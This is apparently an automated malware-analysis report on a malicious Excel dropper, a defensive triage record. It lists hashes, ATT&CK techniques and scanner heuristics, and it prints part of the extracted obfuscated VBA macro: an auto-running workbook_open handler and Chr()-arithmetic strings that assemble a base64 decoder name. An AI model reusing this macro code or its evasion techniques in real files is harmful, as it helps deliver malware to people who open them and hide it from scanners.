Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a197858bdc81ab7b…

MALICIOUS

Office (OOXML)

41.0 KB Created: 2018-06-07 12:39:05 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-02-04
MD5: 32791371d51aa27341186463707b815f SHA-1: 540ab0618885d3c410d6be5bcddf969c1b9084dc SHA-256: a197858bdc81ab7b8bd894e431562789f94a6d452a457898b3b84dcdad7aa8e9
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing a Workbook_Open macro, a common technique for executing malicious code upon opening. Heuristics indicate obfuscation and the use of CreateObject, suggesting the macro attempts to download and execute a secondary payload. ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6576083-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6576083-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 24451 bytes
SHA-256: 6d027ae6483e9ae357af958866947e7a53b1b196efc91b0d7b2f26381ec64598
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
fNoBsCPePj1__70340.qQHKMTefeBPTAfUkWNyb32_0612
Dim cJeZpbWBFrKtShtQvvOVqkU97344 As Workbook
If CFhDKSLedXkFhliVlxcZnqVATmDpbyclsp72116 = cTHXLitMgWicMeM104180534 Then
Dim ZdYNKgLjhkYOWDfuy2466 As Byte
End If
Dim MsJOOOltgbKzRqaZcBVEYiIQk65295 As Workbook
If annUXIBbkQTVxLOnTdFBkPtxptBJqadjseobxZISIX0_1 = haGDfqGQEEDOzLtpedGrlJmkcTW_815232 Then
Dim nptVmsMhSrlOLCZVYgee81182 As Byte
End If
Dim dhIufMQlYoWa6654652 As Workbook
If LTSbLjRVmdbxtPupMnNDyotGhyqZbbIeVLCsjyKpPI561083170 = rzGKBPRbZlbScWZMuMtruLVwchMCFOcYoqxtAWxaIzC28721 Then
Dim XDCigSXDyvYOfeJhTDOWKIDd5_ As Byte
End If
Dim mZfLXPTiuJytZyfkhKecQbRProdW2266625 As Workbook
If tdrOzYwHmMgjbpTWfPIUYepAeaNKHQUilxpRSjuACYyVevAbH2_630_0 = vkcgIyPnqkZLmzWsxxezCDvVHS83_75599 Then
Dim zfUWiZmCMfrBczZdczUpPZccgxWb32_6364 As Byte
End If
Dim FroHZqzjTUBzZknqAvVfZZbwARDZDrqkD451153 As Workbook
If KxUqkcmAqJHxVQemlck10962 = cqBfQsGHmZfcdRvOnSzPTifjQTyfBYnRPFINJREyeUzaKhe_0 Then
Dim gZBrTlMQtLRPwuaGOl910270 As Byte
End If

Dim NNYIiFVOBlyj44766_ As Workbook
If EZipRGzgUgCoOCrCHDDOlpwUFXqwVEkbSKGsgHcUGhRhKjugO230 = SHxhjxPcOjtPCKPvaWDvyWAbiIDXOJWdKi45_009 Then
Dim CxmtiNqPRXiFDWBlkMqlPwHW7118577 As Byte
End If
Dim ybusOFMQEUHSJgnqEiEcsdEgVc321240_ As Workbook
If ZJmZSGpPvHSyBMKSAjPjcDZAggsfeVXNWlfDd1290310 = fBBculfXFhrRZdVRlAVkmslOKkZjFc80613026 Then
Dim PhHpUhNGiRtcazANFsCvklJSqmQnRJLwRd36 As Byte
End If
Dim RKKjIoEeSD31_2_9 As Workbook
If qKRmOxehhKreXoziRapYGxKxhpDVkOrFTGcgUdZUeeOH42381 = lnnVkaWdpuxtzUFYuJxTSmLRMSNnBUtbjCMuBhkJrNPYIj55362 Then
Dim gAYAaVhuoycWIRNjcVAWJwHKXMYncFWmIdmMPA3817_79 As Byte
End If
Dim tXuoNNSfZSwHkuYlZjtNdOwtSjcpNffATbbdb991 As Workbook
If VjtsrmGqUUcOXDDTBXfbAVel661748950 = cRtnwnJSvKEAzVlbqCyPAbqcbh2991448_ Then
Dim SDwBbzEIPatSugKKTMzDUgmDlyX493525_75 As Byte
End If
Dim OlAbRLPVFVtjEvqFLhXIREpId465 As Workbook
If cYMlRtQcbqXOzcHfKFoZduHebaVNpGKvsxomCknccGd732 = ESqMFPdHzBizhRiKqXCnVgcWBnU302 Then
Dim caRMxXRCLkOQxMzKtJxHVTZxE9_6336034 As Byte
End If
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "fNoBsCPePj1__70340"
Dim fhflUwFhJmhVkMBbMASXAOJTLCAvUCGjLqukbSmiFTOvbwrOALZOOBURXLZRwKNGgyJtSRzuOk40_4040 As String
Dim FKeVQEyCMScEYWrHwzVwVslDHHGlwrfOhOWFjBJXJCODsenhprMByKBMYb3364066 As Integer
Dim qrvrirrPSEDNsVqIXWNVWCVfHXRZIOyXDqxHyFvmTjQHyiBlrdddbxIoVQkLZRHDGfKBXiJRbaCnmOgYV70558614 As String
Dim VMcfLANJyqfEumTRbPGlNVDddMuHMdmiEtGTkUOkDoillWyxhCnyQTPAJyBzFFxUDwzAfAhHBWiZmRrHOwaJqnSleFJlSPexqNhpWxSgVgxtkqOrGtkIfoeQdOWZrvol761 As String
Sub qQHKMTefeBPTAfUkWNyb32_0612()
fhflUwFhJmhVkMBbMASXAOJTLCAvUCGjLqukbSmiFTOvbwrOALZOOBURXLZRwKNGgyJtSRzuOk40_4040 = Chr(282 - 184) & Chr(417 - 312) & Chr(287 - 177) & Chr(360 - 314) & Chr(204 - 106) & Chr(356 - 259) & Chr(245 - 130) & Chr(415 - 314) & Chr(57 - 3) & Chr(355 - 303)
Dim bfBdcBoYGdceFfLOYLGh3156 As Workbook
If rUDHgukXrdDoRfWrYPVMopjiUTnMQSnqoBWH95 = ctwhRQgcanMaITpIqutCkUnNHXGYqNzQJPPeSouXIHIgGNDx8735 Then
Dim deAtHUWHGjZtKImNn856 As Byte
End If
Dim vQsDLpBzWtdMGGuTIvL125 As Workbook
If MGJpsHXjOBMAUvtKwLtRoytlbtvAcfZBMaAhmb1832_720 = AvnGnyJsIQNwxIPdXOMYOzMXHjcKotv727 Then
Dim LXVKxeiLvbikenghQmiDmVOMAjPzDV874 As Byte
End If
Dim zEOVBYcyRzpCQwfOikbCMYFqIqJIJOOjHZceVIl614796414 As Workbook
If HESUjOjERhmAfYBJayYMLPToDkFuqUAsZzTxtDV77159_34 = cZlrbXNjLGQBfxvZsleRzIpOxgtbgEEPXdwnaXsQpAuoaTUv6485 Then
Dim eZaMPmWUjWtvemDGBAeCBHzUs_571 As Byte
End If
 FKeVQEyCMScEYWrHwzVwVslDHHGlwrfOhOWFjBJXJCODsenhprMByKBMYb3364066 = 0
Dim NbyNAoeLxxGe
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 66048 bytes
SHA-256: bc046636d0947c1ccde91438efa61ca299b2e649181e7526c0d3a18efcf9208b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).